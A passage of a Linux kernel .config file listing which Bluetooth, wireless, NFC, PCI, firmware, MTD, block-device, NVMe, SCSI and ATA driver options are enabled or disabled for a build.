CONFIG_BT_BREDR=y
CONFIG_BT_RFCOMM=y
CONFIG_BT_RFCOMM_TTY=y
CONFIG_BT_BNEP=y
CONFIG_BT_BNEP_MC_FILTER=y
CONFIG_BT_BNEP_PROTO_FILTER=y
CONFIG_BT_HIDP=y
CONFIG_BT_LE=y
CONFIG_BT_LE_L2CAP_ECRED=y
CONFIG_BT_6LOWPAN=y
CONFIG_BT_LEDS=y
CONFIG_BT_MSFTEXT=y
# CONFIG_BT_AOSPEXT is not set
# CONFIG_BT_DEBUGFS is not set
# CONFIG_BT_SELFTEST is not set

#
# Bluetooth device drivers
#
CONFIG_BT_INTEL=y
CONFIG_BT_BCM=y
CONFIG_BT_RTL=y
CONFIG_BT_QCA=y
CONFIG_BT_MTK=y
CONFIG_BT_HCIBTUSB=y
CONFIG_BT_HCIBTUSB_AUTOSUSPEND=y
CONFIG_BT_HCIBTUSB_POLL_SYNC=y
CONFIG_BT_HCIBTUSB_BCM=y
CONFIG_BT_HCIBTUSB_MTK=y
CONFIG_BT_HCIBTUSB_RTL=y
# CONFIG_BT_HCIBTSDIO is not set
CONFIG_BT_HCIUART=y
CONFIG_BT_HCIUART_SERDEV=y
CONFIG_BT_HCIUART_H4=y
# CONFIG_BT_HCIUART_NOKIA is not set
CONFIG_BT_HCIUART_BCSP=y
# CONFIG_BT_HCIUART_ATH3K is not set
CONFIG_BT_HCIUART_LL=y
CONFIG_BT_HCIUART_3WIRE=y
# CONFIG_BT_HCIUART_INTEL is not set
# CONFIG_BT_HCIUART_BCM is not set
# CONFIG_BT_HCIUART_RTL is not set
CONFIG_BT_HCIUART_QCA=y
CONFIG_BT_HCIUART_AG6XX=y
CONFIG_BT_HCIUART_MRVL=y
# CONFIG_BT_HCIUART_AML is not set
CONFIG_BT_HCIBCM203X=y
# CONFIG_BT_HCIBCM4377 is not set
CONFIG_BT_HCIBPA10X=y
CONFIG_BT_HCIBFUSB=y
CONFIG_BT_HCIVHCI=y
CONFIG_BT_MRVL=y
CONFIG_BT_MRVL_SDIO=y
CONFIG_BT_ATH3K=y
CONFIG_BT_MTKSDIO=y
CONFIG_BT_MTKUART=y
# CONFIG_BT_VIRTIO is not set
# CONFIG_BT_NXPUART is not set
# CONFIG_BT_INTEL_PCIE is not set
# end of Bluetooth device drivers

CONFIG_AF_RXRPC=y
CONFIG_AF_RXRPC_IPV6=y
# CONFIG_AF_RXRPC_INJECT_LOSS is not set
# CONFIG_AF_RXRPC_INJECT_RX_DELAY is not set
# CONFIG_AF_RXRPC_DEBUG is not set
CONFIG_RXKAD=y
# CONFIG_RXGK is not set
# CONFIG_RXPERF is not set
CONFIG_AF_KCM=y
CONFIG_STREAM_PARSER=y
CONFIG_MCTP=y
CONFIG_FIB_RULES=y
CONFIG_WIRELESS=y
CONFIG_WEXT_CORE=y
CONFIG_WEXT_PROC=y
CONFIG_CFG80211=y
# CONFIG_NL80211_TESTMODE is not set
# CONFIG_CFG80211_DEVELOPER_WARNINGS is not set
# CONFIG_CFG80211_CERTIFICATION_ONUS is not set
CONFIG_CFG80211_REQUIRE_SIGNED_REGDB=y
CONFIG_CFG80211_USE_KERNEL_REGDB_KEYS=y
CONFIG_CFG80211_DEFAULT_PS=y
CONFIG_CFG80211_DEBUGFS=y
CONFIG_CFG80211_CRDA_SUPPORT=y
CONFIG_CFG80211_WEXT=y
CONFIG_MAC80211=y
CONFIG_MAC80211_HAS_RC=y
CONFIG_MAC80211_RC_MINSTREL=y
CONFIG_MAC80211_RC_DEFAULT_MINSTREL=y
CONFIG_MAC80211_RC_DEFAULT="minstrel_ht"
CONFIG_MAC80211_MESH=y
CONFIG_MAC80211_LEDS=y
CONFIG_MAC80211_DEBUGFS=y
# CONFIG_MAC80211_MESSAGE_TRACING is not set
# CONFIG_MAC80211_DEBUG_MENU is not set
CONFIG_MAC80211_STA_HASH_MAX_SIZE=0
CONFIG_RFKILL=y
CONFIG_RFKILL_LEDS=y
CONFIG_RFKILL_INPUT=y
# CONFIG_RFKILL_GPIO is not set
CONFIG_NET_9P=y
CONFIG_NET_9P_FD=y
CONFIG_NET_9P_VIRTIO=y
# CONFIG_NET_9P_USBG is not set
CONFIG_NET_9P_RDMA=y
# CONFIG_NET_9P_DEBUG is not set
CONFIG_CEPH_LIB=y
# CONFIG_CEPH_LIB_PRETTYDEBUG is not set
CONFIG_CEPH_LIB_USE_DNS_RESOLVER=y
CONFIG_NFC=y
CONFIG_NFC_DIGITAL=y
CONFIG_NFC_NCI=y
# CONFIG_NFC_NCI_SPI is not set
CONFIG_NFC_NCI_UART=y
CONFIG_NFC_HCI=y
CONFIG_NFC_SHDLC=y

#
# Near Field Communication (NFC) devices
#
# CONFIG_NFC_TRF7970A is not set
# CONFIG_NFC_MEI_PHY is not set
CONFIG_NFC_SIM=y
CONFIG_NFC_PORT100=y
CONFIG_NFC_VIRTUAL_NCI=y
CONFIG_NFC_FDP=y
# CONFIG_NFC_FDP_I2C is not set
# CONFIG_NFC_PN544_I2C is not set
CONFIG_NFC_PN533=y
CONFIG_NFC_PN533_USB=y
# CONFIG_NFC_PN533_I2C is not set
# CONFIG_NFC_PN532_UART is not set
# CONFIG_NFC_MICROREAD_I2C is not set
CONFIG_NFC_MRVL=y
CONFIG_NFC_MRVL_USB=y
# CONFIG_NFC_MRVL_UART is not set
# CONFIG_NFC_MRVL_I2C is not set
# CONFIG_NFC_ST21NFCA_I2C is not set
# CONFIG_NFC_ST_NCI_I2C is not set
# CONFIG_NFC_ST_NCI_SPI is not set
# CONFIG_NFC_NXP_NCI is not set
# CONFIG_NFC_S3FWRN5_I2C is not set
# CONFIG_NFC_S3FWRN82_UART is not set
# CONFIG_NFC_ST95HF is not set
# end of Near Field Communication (NFC) devices

CONFIG_PSAMPLE=y
CONFIG_NET_IFE=y
CONFIG_LWTUNNEL=y
CONFIG_LWTUNNEL_BPF=y
CONFIG_DST_CACHE=y
CONFIG_GRO_CELLS=y
CONFIG_SOCK_VALIDATE_XMIT=y
CONFIG_NET_SELFTESTS=y
CONFIG_NET_SOCK_MSG=y
CONFIG_NET_DEVLINK=y
CONFIG_PAGE_POOL=y
# CONFIG_PAGE_POOL_STATS is not set
CONFIG_FAILOVER=y
CONFIG_ETHTOOL_NETLINK=y

#
# Device Drivers
#
CONFIG_HAVE_PCI=y
CONFIG_GENERIC_PCI_IOMAP=y
CONFIG_PCI=y
CONFIG_PCI_DOMAINS=y
CONFIG_PCIEPORTBUS=y
CONFIG_HOTPLUG_PCI_PCIE=y
CONFIG_PCIEAER=y
# CONFIG_PCIEAER_INJECT is not set
# CONFIG_PCIE_ECRC is not set
CONFIG_PCIEASPM=y
CONFIG_PCIEASPM_DEFAULT=y
# CONFIG_PCIEASPM_POWERSAVE is not set
# CONFIG_PCIEASPM_POWER_SUPERSAVE is not set
# CONFIG_PCIEASPM_PERFORMANCE is not set
CONFIG_PCIE_PME=y
# CONFIG_PCIE_DPC is not set
# CONFIG_PCIE_PTM is not set
CONFIG_PCI_MSI=y
CONFIG_PCI_QUIRKS=y
# CONFIG_PCI_DEBUG is not set
# CONFIG_PCI_REALLOC_ENABLE_AUTO is not set
# CONFIG_PCI_STUB is not set
# CONFIG_PCI_PF_STUB is not set
CONFIG_PCI_ATS=y
# CONFIG_PCI_TSM is not set
# CONFIG_PCI_DOE is not set
CONFIG_PCI_ECAM=y
CONFIG_PCI_LOCKLESS_CONFIG=y
CONFIG_PCI_IOV=y
# CONFIG_PCI_NPEM is not set
CONFIG_PCI_PRI=y
CONFIG_PCI_PASID=y
# CONFIG_PCIE_TPH is not set
# CONFIG_PCI_P2PDMA is not set
CONFIG_PCI_LABEL=y
# CONFIG_PCI_DYNAMIC_OF_NODES is not set
CONFIG_VGA_ARB=y
CONFIG_VGA_ARB_MAX_GPUS=16
CONFIG_HOTPLUG_PCI=y
# CONFIG_HOTPLUG_PCI_ACPI is not set
# CONFIG_HOTPLUG_PCI_CPCI is not set
# CONFIG_HOTPLUG_PCI_OCTEONEP is not set
# CONFIG_HOTPLUG_PCI_SHPC is not set

#
# PCI controller drivers
#
CONFIG_PCI_HOST_COMMON=y
# CONFIG_PCI_FTPCI100 is not set
CONFIG_PCI_HOST_GENERIC=y
# CONFIG_VMD is not set
# CONFIG_PCIE_XILINX is not set

#
# Cadence-based PCIe controllers
#
# CONFIG_PCIE_CADENCE_PLAT_HOST is not set
# CONFIG_PCIE_CADENCE_PLAT_EP is not set
# end of Cadence-based PCIe controllers

#
# DesignWare-based PCIe controllers
#
# CONFIG_PCI_MESON is not set
# CONFIG_PCIE_INTEL_GW is not set
# CONFIG_PCIE_DW_PLAT_HOST is not set
# CONFIG_PCIE_DW_PLAT_EP is not set
# end of DesignWare-based PCIe controllers

#
# Mobiveil-based PCIe controllers
#
# end of Mobiveil-based PCIe controllers

#
# PLDA-based PCIe controllers
#
# CONFIG_PCIE_MICROCHIP_HOST is not set
# end of PLDA-based PCIe controllers
# end of PCI controller drivers

#
# PCI Endpoint
#
CONFIG_PCI_ENDPOINT=y
# CONFIG_PCI_ENDPOINT_CONFIGFS is not set
# CONFIG_PCI_ENDPOINT_MSI_DOORBELL is not set
# CONFIG_PCI_EPF_TEST is not set
# CONFIG_PCI_EPF_NTB is not set
# end of PCI Endpoint

#
# PCI switch controller drivers
#
# CONFIG_PCI_SW_SWITCHTEC is not set
# end of PCI switch controller drivers

# CONFIG_PCI_PWRCTRL_GENERIC is not set
# CONFIG_PCI_PWRCTRL_TC9563 is not set
# CONFIG_CXL_BUS is not set
CONFIG_PCCARD=y
CONFIG_PCMCIA=y
CONFIG_PCMCIA_LOAD_CIS=y
CONFIG_CARDBUS=y

#
# PC-card bridges
#
CONFIG_YENTA=y
CONFIG_YENTA_O2=y
CONFIG_YENTA_RICOH=y
CONFIG_YENTA_TI=y
CONFIG_YENTA_ENE_TUNE=y
CONFIG_YENTA_TOSHIBA=y
# CONFIG_PD6729 is not set
CONFIG_PCCARD_NONSTATIC=y
# CONFIG_RAPIDIO is not set
# CONFIG_PC104 is not set

#
# Generic Driver Options
#
CONFIG_AUXILIARY_BUS=y
CONFIG_UEVENT_HELPER=y
CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
CONFIG_DEVTMPFS=y
CONFIG_DEVTMPFS_MOUNT=y
# CONFIG_DEVTMPFS_SAFE is not set
CONFIG_DRIVER_DEFERRED_PROBE_TIMEOUT=10
CONFIG_STANDALONE=y
CONFIG_PREVENT_FIRMWARE_BUILD=y

#
# Firmware loader
#
CONFIG_FW_LOADER=y
# CONFIG_FW_LOADER_DEBUG is not set
CONFIG_FW_LOADER_PAGED_BUF=y
CONFIG_FW_LOADER_SYSFS=y
CONFIG_EXTRA_FIRMWARE=""
CONFIG_FW_LOADER_USER_HELPER=y
CONFIG_FW_LOADER_USER_HELPER_FALLBACK=y
CONFIG_FW_LOADER_COMPRESS=y
# CONFIG_FW_LOADER_COMPRESS_XZ is not set
# CONFIG_FW_LOADER_COMPRESS_ZSTD is not set
CONFIG_FW_CACHE=y
# CONFIG_FW_UPLOAD is not set
# end of Firmware loader

CONFIG_WANT_DEV_COREDUMP=y
CONFIG_ALLOW_DEV_COREDUMP=y
CONFIG_DEV_COREDUMP=y
# CONFIG_DEBUG_DRIVER is not set
CONFIG_DEBUG_DEVRES=y
# CONFIG_DEBUG_TEST_DRIVER_REMOVE is not set
# CONFIG_TEST_ASYNC_DRIVER_PROBE is not set
CONFIG_GENERIC_CPU_DEVICES=y
CONFIG_GENERIC_CPU_AUTOPROBE=y
CONFIG_GENERIC_CPU_VULNERABILITIES=y
CONFIG_REGMAP=y
CONFIG_REGMAP_I2C=y
CONFIG_REGMAP_SPI=y
CONFIG_REGMAP_MMIO=y
CONFIG_REGMAP_IRQ=y
CONFIG_DMA_SHARED_BUFFER=y
# CONFIG_FW_DEVLINK_SYNC_STATE_TIMEOUT is not set
# end of Generic Driver Options

#
# Bus devices
#
# CONFIG_MOXTET is not set
CONFIG_MHI_BUS=y
# CONFIG_MHI_BUS_DEBUG is not set
# CONFIG_MHI_BUS_PCI_GENERIC is not set
# CONFIG_MHI_BUS_EP is not set
# end of Bus devices

CONFIG_CONNECTOR=y
CONFIG_PROC_EVENTS=y

#
# Firmware Drivers
#

#
# ARM System Control and Management Interface Protocol
#
# end of ARM System Control and Management Interface Protocol

# CONFIG_EDD is not set
CONFIG_FIRMWARE_MEMMAP=y
CONFIG_DMIID=y
# CONFIG_DMI_SYSFS is not set
CONFIG_DMI_SCAN_MACHINE_NON_EFI_FALLBACK=y
# CONFIG_ISCSI_IBFT is not set
# CONFIG_FW_CFG_SYSFS is not set
CONFIG_SYSFB=y
# CONFIG_SYSFB_SIMPLEFB is not set
CONFIG_GOOGLE_FIRMWARE=y
# CONFIG_GOOGLE_SMI is not set
# CONFIG_GOOGLE_CBMEM is not set
CONFIG_GOOGLE_COREBOOT_TABLE=y
CONFIG_GOOGLE_MEMCONSOLE=y
# CONFIG_GOOGLE_MEMCONSOLE_X86_LEGACY is not set
# CONFIG_GOOGLE_FRAMEBUFFER_COREBOOT is not set
CONFIG_GOOGLE_MEMCONSOLE_COREBOOT=y
CONFIG_GOOGLE_VPD=y

#
# Qualcomm firmware drivers
#
# CONFIG_QCOM_PAS is not set
# CONFIG_QCOM_PAS_TEE is not set
# CONFIG_QCOM_SCM is not set
# end of Qualcomm firmware drivers

#
# Tegra firmware driver
#
# end of Tegra firmware driver
# end of Firmware Drivers

# CONFIG_FWCTL is not set
CONFIG_GNSS=y
# CONFIG_GNSS_MTK_SERIAL is not set
# CONFIG_GNSS_SIRF_SERIAL is not set
# CONFIG_GNSS_UBX_SERIAL is not set
CONFIG_GNSS_USB=y
CONFIG_MTD=y
# CONFIG_MTD_TESTS is not set

#
# Partition parsers
#
# CONFIG_MTD_CMDLINE_PARTS is not set
# CONFIG_MTD_OF_PARTS is not set
# CONFIG_MTD_REDBOOT_PARTS is not set
# end of Partition parsers

#
# User Modules And Translation Layers
#
CONFIG_MTD_BLKDEVS=y
CONFIG_MTD_BLOCK=y

#
# Note that in some cases UBI block is preferred. See MTD_UBI_BLOCK.
#
CONFIG_FTL=y
# CONFIG_NFTL is not set
# CONFIG_INFTL is not set
# CONFIG_RFD_FTL is not set
# CONFIG_SSFDC is not set
# CONFIG_SM_FTL is not set
# CONFIG_MTD_OOPS is not set
# CONFIG_MTD_SWAP is not set
# CONFIG_MTD_PARTITIONED_MASTER is not set

#
# RAM/ROM/Flash chip drivers
#
# CONFIG_MTD_CFI is not set
# CONFIG_MTD_JEDECPROBE is not set
CONFIG_MTD_MAP_BANK_WIDTH_1=y
CONFIG_MTD_MAP_BANK_WIDTH_2=y
CONFIG_MTD_MAP_BANK_WIDTH_4=y
CONFIG_MTD_CFI_I1=y
CONFIG_MTD_CFI_I2=y
# CONFIG_MTD_RAM is not set
# CONFIG_MTD_ROM is not set
# CONFIG_MTD_ABSENT is not set
# end of RAM/ROM/Flash chip drivers

#
# Mapping drivers for chip access
#
# CONFIG_MTD_COMPLEX_MAPPINGS is not set
# CONFIG_MTD_PLATRAM is not set
# end of Mapping drivers for chip access

#
# Self-contained MTD device drivers
#
# CONFIG_MTD_PMC551 is not set
# CONFIG_MTD_DATAFLASH is not set
# CONFIG_MTD_MCHP23K256 is not set
# CONFIG_MTD_MCHP48L640 is not set
# CONFIG_MTD_SST25L is not set
CONFIG_MTD_SLRAM=y
CONFIG_MTD_PHRAM=y
CONFIG_MTD_MTDRAM=y
CONFIG_MTDRAM_TOTAL_SIZE=128
CONFIG_MTDRAM_ERASE_SIZE=4
CONFIG_MTD_BLOCK2MTD=y
# CONFIG_MTD_INTEL_DG is not set

#
# Disk-On-Chip Device Drivers
#
# CONFIG_MTD_DOCG3 is not set
# end of Self-contained MTD device drivers

#
# NAND
#
# CONFIG_MTD_ONENAND is not set
# CONFIG_MTD_RAW_NAND is not set
# CONFIG_MTD_SPI_NAND is not set

#
# ECC engine support
#
# CONFIG_MTD_NAND_ECC_SW_HAMMING is not set
# CONFIG_MTD_NAND_ECC_SW_BCH is not set
# CONFIG_MTD_NAND_ECC_MXIC is not set
# end of ECC engine support
# end of NAND

#
# LPDDR & LPDDR2 PCM memory drivers
#
# CONFIG_MTD_LPDDR is not set
# end of LPDDR & LPDDR2 PCM memory drivers

# CONFIG_MTD_SPI_NOR is not set
CONFIG_MTD_UBI=y
CONFIG_MTD_UBI_WL_THRESHOLD=4096
CONFIG_MTD_UBI_BEB_LIMIT=20
# CONFIG_MTD_UBI_FASTMAP is not set
# CONFIG_MTD_UBI_GLUEBI is not set
# CONFIG_MTD_UBI_BLOCK is not set
# CONFIG_MTD_UBI_FAULT_INJECTION is not set
# CONFIG_MTD_UBI_NVMEM is not set
# CONFIG_MTD_HYPERBUS is not set
CONFIG_DTC=y
CONFIG_OF=y
# CONFIG_OF_UNITTEST is not set
CONFIG_OF_FLATTREE=y
CONFIG_OF_EARLY_FLATTREE=y
CONFIG_OF_KOBJ=y
CONFIG_OF_ADDRESS=y
CONFIG_OF_IRQ=y
CONFIG_OF_RESERVED_MEM=y
# CONFIG_OF_OVERLAY is not set
CONFIG_OF_NUMA=y
CONFIG_ARCH_MIGHT_HAVE_PC_PARPORT=y
CONFIG_PARPORT=y
# CONFIG_PARPORT_PC is not set
# CONFIG_PARPORT_1284 is not set
CONFIG_PARPORT_NOT_PC=y
CONFIG_PNP=y
CONFIG_PNP_DEBUG_MESSAGES=y

#
# Protocols
#
CONFIG_PNPACPI=y
CONFIG_BLK_DEV=y
CONFIG_BLK_DEV_NULL_BLK=y
CONFIG_BLK_DEV_NULL_BLK_FAULT_INJECTION=y
# CONFIG_BLK_DEV_FD is not set
CONFIG_CDROM=y
# CONFIG_BLK_DEV_PCIESSD_MTIP32XX is not set
CONFIG_ZRAM=y
# CONFIG_ZRAM_BACKEND_LZ4 is not set
# CONFIG_ZRAM_BACKEND_LZ4HC is not set
# CONFIG_ZRAM_BACKEND_ZSTD is not set
# CONFIG_ZRAM_BACKEND_DEFLATE is not set
# CONFIG_ZRAM_BACKEND_842 is not set
CONFIG_ZRAM_BACKEND_FORCE_LZO=y
CONFIG_ZRAM_BACKEND_LZO=y
# CONFIG_ZRAM_DEF_COMP_LZORLE is not set
CONFIG_ZRAM_DEF_COMP_LZO=y
CONFIG_ZRAM_DEF_COMP="lzo"
# CONFIG_ZRAM_WRITEBACK is not set
# CONFIG_ZRAM_TRACK_ENTRY_ACTIME is not set
# CONFIG_ZRAM_MEMORY_TRACKING is not set
# CONFIG_ZRAM_MULTI_COMP is not set
CONFIG_BLK_DEV_LOOP=y
CONFIG_BLK_DEV_LOOP_MIN_COUNT=16
# CONFIG_BLK_DEV_DRBD is not set
CONFIG_BLK_DEV_NBD=y
CONFIG_BLK_DEV_RAM=y
CONFIG_BLK_DEV_RAM_COUNT=16
CONFIG_BLK_DEV_RAM_SIZE=4096
CONFIG_ATA_OVER_ETH=y
CONFIG_VIRTIO_BLK=y
# CONFIG_BLK_DEV_RBD is not set
CONFIG_BLK_DEV_UBLK=y
CONFIG_BLKDEV_UBLK_LEGACY_OPCODES=y
CONFIG_BLK_DEV_RNBD=y
CONFIG_BLK_DEV_RNBD_CLIENT=y
# CONFIG_BLK_DEV_ZONED_LOOP is not set

#
# NVME Support
#
CONFIG_NVME_CORE=y
CONFIG_BLK_DEV_NVME=y
CONFIG_NVME_MULTIPATH=y
# CONFIG_NVME_VERBOSE_ERRORS is not set
# CONFIG_NVME_HWMON is not set
CONFIG_NVME_FABRICS=y
CONFIG_NVME_RDMA=y
CONFIG_NVME_FC=y
CONFIG_NVME_TCP=y
# CONFIG_NVME_TCP_TLS is not set
# CONFIG_NVME_HOST_AUTH is not set
CONFIG_NVME_TARGET=y
# CONFIG_NVME_TARGET_DEBUGFS is not set
# CONFIG_NVME_TARGET_PASSTHRU is not set
CONFIG_NVME_TARGET_LOOP=y
CONFIG_NVME_TARGET_RDMA=y
CONFIG_NVME_TARGET_FC=y
CONFIG_NVME_TARGET_FCLOOP=y
CONFIG_NVME_TARGET_TCP=y
# CONFIG_NVME_TARGET_TCP_TLS is not set
# CONFIG_NVME_TARGET_AUTH is not set
# CONFIG_NVME_TARGET_PCI_EPF is not set
# end of NVME Support

#
# Misc devices
#
# CONFIG_AD525X_DPOT is not set
# CONFIG_DUMMY_IRQ is not set
# CONFIG_IBM_ASM is not set
# CONFIG_PHANTOM is not set
# CONFIG_RPMB is not set
# CONFIG_TI_FPC202 is not set
# CONFIG_TIFM_CORE is not set
# CONFIG_ICS932S401 is not set
# CONFIG_ENCLOSURE_SERVICES is not set
# CONFIG_HP_ILO is not set
# CONFIG_APDS9802ALS is not set
# CONFIG_ISL29003 is not set
# CONFIG_ISL29020 is not set
# CONFIG_SENSORS_TSL2550 is not set
# CONFIG_SENSORS_BH1770 is not set
# CONFIG_HMC6352 is not set
# CONFIG_DS1682 is not set
# CONFIG_VMWARE_BALLOON is not set
# CONFIG_LATTICE_ECP3_CONFIG is not set
# CONFIG_SRAM is not set
# CONFIG_DW_XDATA_PCIE is not set
# CONFIG_PCI_ENDPOINT_TEST is not set
# CONFIG_XILINX_SDFEC is not set
CONFIG_MISC_RTSX=y
# CONFIG_HISI_HIKEY_USB is not set
# CONFIG_OPEN_DICE is not set
# CONFIG_NTSYNC is not set
# CONFIG_VCPU_STALL_DETECTOR is not set
# CONFIG_NSM is not set
# CONFIG_C2PORT is not set

#
# EEPROM support
#
# CONFIG_EEPROM_AT24 is not set
# CONFIG_EEPROM_AT25 is not set
# CONFIG_EEPROM_MAX6875 is not set
CONFIG_EEPROM_93CX6=y
# CONFIG_EEPROM_93XX46 is not set
# CONFIG_EEPROM_IDT_89HPESX is not set
# CONFIG_EEPROM_EE1004 is not set
# CONFIG_EEPROM_M24LR is not set
# end of EEPROM support

# CONFIG_CB710_CORE is not set
# CONFIG_SENSORS_LIS3_I2C is not set
# CONFIG_ALTERA_STAPL is not set
CONFIG_INTEL_MEI=y
CONFIG_INTEL_MEI_ME=y
# CONFIG_INTEL_MEI_TXE is not set
# CONFIG_INTEL_MEI_GSC is not set
# CONFIG_INTEL_MEI_CSC is not set
# CONFIG_INTEL_MEI_VSC_HW is not set
# CONFIG_INTEL_MEI_HDCP is not set
# CONFIG_INTEL_MEI_PXP is not set
# CONFIG_INTEL_MEI_GSC_PROXY is not set
CONFIG_VMWARE_VMCI=y
# CONFIG_GENWQE is not set
# CONFIG_BCM_VK is not set
# CONFIG_MISC_ALCOR_PCI is not set
# CONFIG_MISC_RTSX_PCI is not set
CONFIG_MISC_RTSX_USB=y
# CONFIG_UACCE is not set
# CONFIG_PVPANIC is not set
# CONFIG_GP_PCI1XXXX is not set
# CONFIG_KEBA_CP500 is not set
# CONFIG_MISC_RP1 is not set
# end of Misc devices

#
# SCSI device support
#
CONFIG_SCSI_MOD=y
CONFIG_RAID_ATTRS=y
CONFIG_SCSI_COMMON=y
CONFIG_SCSI=y
CONFIG_SCSI_DMA=y
CONFIG_SCSI_NETLINK=y
CONFIG_SCSI_PROC_FS=y

#
# SCSI support type (disk, tape, CD-ROM)
#
CONFIG_BLK_DEV_SD=y
CONFIG_CHR_DEV_ST=y
CONFIG_BLK_DEV_SR=y
CONFIG_CHR_DEV_SG=y
CONFIG_BLK_DEV_BSG=y
# CONFIG_CHR_DEV_SCH is not set
CONFIG_SCSI_CONSTANTS=y
CONFIG_SCSI_LOGGING=y
CONFIG_SCSI_SCAN_ASYNC=y

#
# SCSI Transports
#
CONFIG_SCSI_SPI_ATTRS=y
CONFIG_SCSI_FC_ATTRS=y
CONFIG_SCSI_ISCSI_ATTRS=y
CONFIG_SCSI_SAS_ATTRS=y
CONFIG_SCSI_SAS_LIBSAS=y
CONFIG_SCSI_SAS_ATA=y
# CONFIG_SCSI_SAS_HOST_SMP is not set
CONFIG_SCSI_SRP_ATTRS=y
# end of SCSI Transports

CONFIG_SCSI_LOWLEVEL=y
# CONFIG_ISCSI_TCP is not set
# CONFIG_ISCSI_BOOT_SYSFS is not set
# CONFIG_SCSI_CXGB3_ISCSI is not set
# CONFIG_SCSI_CXGB4_ISCSI is not set
# CONFIG_SCSI_BNX2_ISCSI is not set
# CONFIG_BE2ISCSI is not set
# CONFIG_BLK_DEV_3W_XXXX_RAID is not set
CONFIG_SCSI_HPSA=y
# CONFIG_SCSI_3W_9XXX is not set
# CONFIG_SCSI_3W_SAS is not set
# CONFIG_SCSI_ACARD is not set
# CONFIG_SCSI_AACRAID is not set
# CONFIG_SCSI_AIC7XXX is not set
# CONFIG_SCSI_AIC79XX is not set
# CONFIG_SCSI_AIC94XX is not set
# CONFIG_SCSI_MVSAS is not set
# CONFIG_SCSI_MVUMI is not set
# CONFIG_SCSI_ADVANSYS is not set
# CONFIG_SCSI_ARCMSR is not set
# CONFIG_SCSI_ESAS2R is not set
# CONFIG_MEGARAID_NEWGEN is not set
# CONFIG_MEGARAID_LEGACY is not set
# CONFIG_MEGARAID_SAS is not set
# CONFIG_SCSI_MPT3SAS is not set
# CONFIG_SCSI_MPT2SAS is not set
# CONFIG_SCSI_MPI3MR is not set
# CONFIG_SCSI_SMARTPQI is not set
# CONFIG_SCSI_HPTIOP is not set
# CONFIG_SCSI_BUSLOGIC is not set
# CONFIG_SCSI_MYRB is not set
# CONFIG_SCSI_MYRS is not set
# CONFIG_VMWARE_PVSCSI is not set
# CONFIG_LIBFC is not set
# CONFIG_SCSI_SNIC is not set
# CONFIG_SCSI_DMX3191D is not set
# CONFIG_SCSI_FDOMAIN_PCI is not set
# CONFIG_SCSI_ISCI is not set
# CONFIG_SCSI_IPS is not set
# CONFIG_SCSI_INITIO is not set
# CONFIG_SCSI_INIA100 is not set
# CONFIG_SCSI_STEX is not set
# CONFIG_SCSI_SYM53C8XX_2 is not set
# CONFIG_SCSI_IPR is not set
# CONFIG_SCSI_QLOGIC_1280 is not set
# CONFIG_SCSI_QLA_FC is not set
# CONFIG_SCSI_QLA_ISCSI is not set
# CONFIG_SCSI_LPFC is not set
# CONFIG_SCSI_EFCT is not set
# CONFIG_SCSI_DC395x is not set
# CONFIG_SCSI_AM53C974 is not set
# CONFIG_SCSI_WD719X is not set
# CONFIG_SCSI_DEBUG is not set
# CONFIG_SCSI_PMCRAID is not set
# CONFIG_SCSI_PM8001 is not set
# CONFIG_SCSI_BFA_FC is not set
CONFIG_SCSI_VIRTIO=y
# CONFIG_SCSI_CHELSIO_FCOE is not set
# CONFIG_SCSI_LOWLEVEL_PCMCIA is not set
# CONFIG_SCSI_DH is not set
# end of SCSI device support

CONFIG_ATA=y
CONFIG_SATA_HOST=y
CONFIG_PATA_TIMINGS=y
CONFIG_ATA_VERBOSE_ERROR=y
CONFIG_ATA_FORCE=y
CONFIG_ATA_ACPI=y
# CONFIG_SATA_ZPODD is not set
CONFIG_SATA_PMP=y

#
# Controllers with non-SFF native interface
#
CONFIG_SATA_AHCI=y
CONFIG_SATA_MOBILE_LPM_POLICY=3
# CONFIG_SATA_AHCI_PLATFORM is not set
# CONFIG_AHCI_DWC is not set
# CONFIG_AHCI_CEVA is not set
# CONFIG_SATA_INIC162X is not set
# CONFIG_SATA_ACARD_AHCI is not set
# CONFIG_SATA_SIL24 is not set
CONFIG_ATA_SFF=y

#
# SFF controllers with custom DMA interface
#
# CONFIG_PDC_ADMA is not set
# CONFIG_SATA_QSTOR is not set
# CONFIG_SATA_SX4 is not set
CONFIG_ATA_BMDMA=y

#
# SATA SFF controllers with BMDMA
#
CONFIG_ATA_PIIX=y
# CONFIG_SATA_DWC is not set
# CONFIG_SATA_MV is not set
# CONFIG_SATA_NV is not set
# CONFIG_SATA_PROMISE is not set
# CONFIG_SATA_SIL is not set
# CONFIG_SATA_SIS is not set
# CONFIG_SATA_SVW is not set
# CONFIG_SATA_ULI is not set
# CONFIG_SATA_VIA is not set
# CONFIG_SATA_VITESSE is not set

#
# PATA SFF controllers with BMDMA
#
# CONFIG_PATA_ALI is not set
CONFIG_PATA_AMD=y
# CONFIG_PATA_ARTOP is not set
# CONFIG_PATA_ATIIXP is not set
# CONFIG_PATA_ATP867X is not set
# CONFIG_PATA_CMD64X is not set
# CONFIG_PATA_CYPRESS is not set
# CONFIG_PATA_EFAR is not set
# CONFIG_PATA_HPT366 is not set
# CONFIG_PATA_HPT37X is not set
# CONFIG_PATA_HPT3X2N is not set
# CONFIG_PATA_HPT3X3 is not set
# CONFIG_PATA_IT8213 is not set
# CONFIG_PATA_IT821X is not set
# CONFIG_PATA_JMICRON is not set
# CONFIG_PATA_MARVELL is not set
# CONFIG_PATA_NETCELL is not set
# CONFIG_PATA_NINJA32 is not set
# CONFIG_PATA_NS87415 is not set
CONFIG_PATA_OLDPIIX=y
# CONFIG_PATA_OPTIDMA is not set
# CONFIG_PATA_PDC2027X is not set
# CONFIG_PATA_PDC_OLD is not set
# CONFIG_PATA_RADISYS is not set
# CONFIG_PATA_RDC is not set
CONFIG_PATA_SCH=y
# CONFIG_PATA_SERVERWORKS is not set
# CONFIG_PATA_SIL680 is not set
# CONFIG_PATA_SIS is not set
# CONFIG_PATA_TOSHIBA is not set
# CONFIG_PATA_TRIFLEX is not set
# CONFIG_PATA_VIA is not set
# CONFIG_PATA_WINBOND is not set

#
# PIO-only SFF controllers
#
# CONFIG_PATA_CMD640_PCI is not set
# CONFIG_PATA_MPIIX is not set
# CONFIG_PATA_NS87410 is not set
# CONFIG_PATA_OPTI is not set
# CONFIG_PATA_PCMCIA is not set
# CONFIG_PATA_OF_PLATFORM is not set
# CONFIG_PATA_RZ1000 is not set

#
# Generic fallback / legacy drivers
#
# CONFIG_PATA_ACPI is not set
CONFIG_ATA_GENERIC=y
# CONFIG_PATA_LEGACY is not set
CONFIG_MD=y
